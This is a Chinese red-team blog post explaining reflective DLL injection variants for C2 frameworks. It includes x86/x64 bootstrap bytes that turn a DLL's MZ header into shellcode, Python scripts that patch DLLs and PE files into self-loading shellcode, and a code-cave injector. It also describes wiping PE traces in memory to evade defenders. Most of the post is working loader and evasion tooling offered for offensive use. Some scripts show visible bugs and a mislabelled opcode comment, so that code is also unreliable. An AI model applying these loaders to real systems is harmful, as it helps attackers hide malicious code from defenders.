idiotc4t's blog
搜索文档…
GitBook 提供支持
ReflectiveDLLInjection变形应用

简介

反射注入(ReflectiveInjection)这种技术也出来好多年了,实现原理大致是不依赖windows提供的loadlibrary函数,程序设计者自己在程序内实现pe的内存展开,由于是自己实现,所以不会在操作系统中有所记录,以及可以对展开的pe文件做一些处理如抹除DOS头,同时不会在peb的ldr链表中记录,发展至今反射注入几乎已经是所有c2的标配技术,github也有非常成熟的项目可供使用,不过由于使用量较大,建议还是简单修改一下再投入实战比较好。
下面写的东西和上面的描述有关系(dog头),可能有的渗透测试工作者不熟悉反射加载的原理,但你一定用过它,较为知名的msf和cs也大量使用这种技术,说是c2的基础技术也不为过,这篇文章会介绍两个应用方式,以及一些优化的思路,以供我们更好的吊打蓝队。

DLL自加载

在cs的资源文件中所有dll都带有自加载能力,所有beacon的扩展功能几乎都是这样实现的(如mimikatz),cs将其称之为可修补的dll,它的原理是在不改变MZ标志的情况下把整个dll文件修补成可被当作shellcode加载的格式,具体的操作为在dll内导出自加载函数(ReflectiveLoader)然后讲MZ头起始字节修改成执行ReflectiveLoader函数的硬编码。

流程

    1.
    将ReflectiveLoader库编译进DLL内。
    2.
    不破坏MZ标志将DOS头改造成执行ReflectiveLoader函数的shellcode。

原理

现今仍在使用的DOS结构成员只有标识PE文件的MZ标志和指向PE头的e_lfanew,其他我们随意修改不会影响这个PE文件的正常运行。
我们不能破坏PE结构也就是DOS头内的MZ标志,如果我们要把dll处理成shellcode,那么MZ标志就要被当作是代码执行。
我们将MZ的机器码转换成汇编指令,这里以X86为例,文章末尾也会给出X64的代码。
可以看到MZ对应的汇编代码是↓,我们需要消除这两条指令的影响。
1
dec ebp ;ebp -1
2
pop edx ;edx=[esp] esp+4
3
//恢复环境
4
inc ebp ;ebp +1
5
push edx ;esp-4 [esp]=edx
Copied!
然后需要将执行指针(eip/rip)指向ReflectiveLoader。
1
call 0 ;获取下一条指令的内存地址
2
pop edx ;将下一条指令出栈给edx
3
add edx,<FuncOffset-0x09>;计算ReflectiveLoader函数在内存中的位置
4
push ebp
5
mov ebp, esp ;切换堆栈
6
call edx ;调用ReflectiveLoader
Copied!
修补过后↓,这里代码使用https://github.com/rapid7/ReflectiveDLLInjection
x64:
1
41 5a ;pop r10
2
41 52 ;push r10
3
e8 00 00 00 00 ;call 0
4
5b ;pop rbx
5
48 81 c3 09 00 00 00 ;add rbx, 0x09
6
55 ;push rbp
7
48 89 e5 ;mov rbp, rsp
8
ff d3 ;call rbx
Copied!

代码

1
import sys
2
import pefile
3
from struct import pack
4
5
def help():
6
print("usage: python3 <DllPath> <FuncName>\n")
7
8
def get_func_offset(pe_file,func_name):
9
if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
10
for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
11
if func_name in str(export.name):
12
func_rva = export.address
13
break
14
15
if func_rva == 0:
16
help()
17
print("[-] not found function offset in file")
18
sys.exit(0)
19
20
offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
21
func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
22
func_file_offset -= 9
23
24
return bytes(pack("<I",func_file_offset))
25
26
def get_patch_stub(pe_file,func_offset):
27
28
if pe_file.FILE_HEADER.Machine == 0x014c:
29
is64 = False
30
elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
31
is64 =True
32
else:
33
print("[-]unknow the format of this pe file")
34
sys.exit()
35
36
if is64:
37
stub =(
38
b"\x4D\x5A"
39
b"\x41\x52"
40
b"\xe8\x00\x00\x00\x00"
41
b"\x5b"
42
b"\x48\x81\xC3" + func_offset +
43
b"\x55"
44
b"\x48\x89\xE5"
45
b"\xFF\xD3"
46
);
47
48
else:
49
stub = (
50
b"\x4D"
51
b"\x5A"
52
b"\x45"
53
b"\x52"
54
b"\xE8\x00\x00\x00\x00"
55
b"\x5A"
56
b"\x81\xC2" + func_offset +
57
b"\x55"
58
b"\x8B\xEC"
59
b"\xFF\xD2"
60
);
61
return stub;
62
63
def patch_dll(pe_path,func_name):
64
try:
65
pe_file =pefile.PE(pe_path)
66
except e:
67
print(str(e))
68
help()
69
sys.exit()
70
71
72
func_offset = get_func_offset(pe_file,func_name)
73
patch_stub = get_patch_stub(pe_file,func_offset)
74
75
76
filearray = open(pe_path,'rb').read()
77
print("[+] loaded nameof %s"% (pe_path))
78
79
patch_dll_file = patch_stub + filearray[len(patch_stub):]
80
print("[+] patched offset %s" % (func_offset.hex()))
81
82
patch_dll_name = "patch-" +pe_path
83
open(patch_dll_name,'wb').write(patch_dll_file)
84
print("[+] wrote nameof %s"% (patch_dll_name))
85
86
if __name__ == '__main__':
87
a = len(sys.argv)
88
if len(sys.argv) != 3:
89
help()
90
sys.exit(0);
91
pe_path = sys.argv[1]
92
func_name = sys.argv[2]
93
patch_dll(pe_path,func_name)
94
Copied!

优化

我们看到反射加载的DLL在内存中还是会存在很明显的PE格式文件特征,接下来我们尝试把他的PE特征抹掉。(涉及项目,修改后的反射代码就不贴了)。
优化前。
优化后。
聪明的你应该已经想到我做了什么(狗头)。

PE->SHELLCODE改造

追加->思路

上面的操作大概是这样的↓,学过shellcode开发的朋友可能知道,如果我们直接在DLL文件内编写加载函数是不能使用一些编写语法的如字符串、函数、CRT之类的东西的,就算要用系统函数也不能直接调用,前面我们使用的ReflectiveDLLInjection项目中ReflectiveLoader函数源码其实是经过特殊处理的,它遵循shellcode的开发限制,把所有东西都编译到一起,也避免了所有字符串和依赖的限制,保证了的编译出来的代码在任意环境下都能使用,也就是这段代码抠出来是能直接使用的,如果我们编写一个可修补的dll比较麻烦,我们也可以利用这段反射加载的shellcode来对已有PE文件进行改造。
改造思路:
这种技术已经有比较成熟的开源项目pe_to_shellcode,这个老哥用汇编实现了一个反射加载的stub(太硬核了),同样我们也用上一种应用的思路对这个stub进行优化,加载后抹除PE的特征,在这个基础上,我们可以快速对一个已有的功能模块进行修补。
pe_to_shellcode项目中给出的汇编编写的ReflectiveLoader函数不需要像rapid7给出的反射库一样切换堆栈,但是需要压栈传入pe文件所在位置。
由于不需要切换堆栈(切换堆栈的机器码不同位数有差异),就可以统一不同位数程序的bootstrap。
x64
x86

代码

1
b"\x4d"+
2
b"\x5A" +#pop edx
3
b"\x45" +#inc ebp
4
b"\x52" +#push edx
5
b"\xE8\x00\x00\x00\x00" +#call <next_line>
6
b"\x5B" +# pop ebx
7
b"\x48\x83\xEB\x09" +# sub ebx,9
8
b"\x53" +# push ebx (Image Base)
9
b"\x48\x81\xC3" +# add ebx,
10
pack("<I",func_offset) +# value
11
b"\xFF\xD3" +# call esp
12
b"\xc3" # ret
Copied!
1
def addit_pe(pe_path):
2
pe_file = get_pe_load(pe_path)
3
4
pe_file_array = open(pe_path, 'rb').read()
5
print("[+] loaded nameof %s" % (pe_path))
6
7
addit_bootstrap = get_inject_bootstrap(pe_file,len(pe_file_array))
8
9
if get_pe_bit(pe_file):
10
addit_stub = open('resources/stub64.bin', 'rb').read()
11
else:
12
addit_stub = open('resources/stub32.bin', 'rb').read()
13
14
patch_pe_file = addit_bootstrap + pe_file_array[len(addit_bootstrap):] + addit_stub
15
print("[+] patched offset %d" % (len(pe_file_array)))
16
17
patch_pe_name = "patch-" + pe_path
18
open(patch_pe_name, 'wb').write(patch_pe_file)
19
print("[+] wrote nameof %s" % (patch_pe_name))
20
Copied!

优化->注入->思路

上面的实现方式会对PE文件本身的大小产生影响,在哪年的黑帽大会上有一位究极老师傅公开过一种PE注入技术(还有武器化的工具),原理是利用编译过程中产生的code caves(编译过程文件对齐产生的空字节区),在这些区域插入loader stub,就可以避免改造后的PE文件体积增大,不过需要注入代码洞的大小不能小于loader stub的大小。
看上去是这样的:

代码

1
import sys
2
import pefile
3
from struct import pack
4
5
6
def help():
7
print("usage: python3 <PePath>")
8
9
def get_pe_bit(pe_file):
10
if pe_file.FILE_HEADER.Machine == 0x014c:
11
is64 = False
12
elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine == 0x8664:
13
is64 =True
14
else:
15
print("[-]unknow the format of this pe file")
16
sys.exit()
17
18
return is64
19
20
def get_patch_stub(pe_file,func_offset):
21
22
23
stub = (
24
b"\x4d"+
25
b"\x5A" +#pop edx
26
b"\x45" +#inc ebp
27
b"\x52" +#push edx
28
b"\xE8\x00\x00\x00\x00" +#call <next_line>
29
b"\x5B" +# pop ebx
30
b"\x48\x83\xEB\x09" +# sub ebx,9
31
b"\x53" +# push ebx (Image Base)
32
b"\x48\x81\xC3" +# add ebx,
33
pack("<I",func_offset) +# value
34
b"\xFF\xD3" +# call esp
35
b"\xc3" # ret
36
);
37
return stub;
38
39
def patch_pe(pe_path):
40
try:
41
pe_file =pefile.PE(pe_path)
42
except e:
43
print(str(e))
44
help()
45
sys.exit()
46
47
patch_size = 0
48
patch_location = 0
49
50
if get_pe_bit(pe_file):
51
reflective_stub = open('stub64.bin','rb').read()
52
else:
53
reflective_stub = open('stub32.bin','rb').read()
54
55
cave_size=len(reflective_stub);
56
57
for section in pe_file.sections:
58
section_cave_size = section.SizeOfRawData - section.Misc_VirtualSize
59
section_cave_location =section.Misc_VirtualSize + section.PointerToRawData
60
print("[+] looking for a codecave in %s sizeof %d offset of %x" % (section.Name,section_cave_size,section_cave_location))
61
if section_cave_size > cave_size:
62
patch_size=section_cave_size
63
patch_location = section_cave_location
64
break
65
66
if patch_size ==0:
67
print("[-] not enough size code cvae found ")
68
help()
69
sys.exit()
70
71
patch_stub = get_patch_stub(pe_file,patch_location)
72
73
pe_file_array = open(pe_path,'rb').read()
74
print("[+] loaded nameof %s"% (pe_path))
75
76
patch_pe_file = patch_stub + pe_file_array[len(patch_stub):patch_location] + reflective_stub +pe_file_array[patch_location+len(reflective_stub):]
77
print("[+] patched offset %x" % (section_cave_location))
78
79
patch_pe_name = "patch-" +pe_path
80
open(patch_pe_name,'wb').write(patch_pe_file)
81
print("[+] wrote nameof %s"% (patch_pe_name))
82
83
if __name__ == '__main__':
84
a = len(sys.argv)
85
if len(sys.argv) != 2:
86
help()
87
sys.exit(0);
88
pe_path = sys.argv[1]
89
pe_path= "runshc32.exe"
90
patch_pe(pe_path)
91
Copied!

LINKS

关于反射dll修补
WBGlIl
GitHub - rapid7/ReflectiveDLLInjection: Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process.
GitHub
最近更新 10mo ago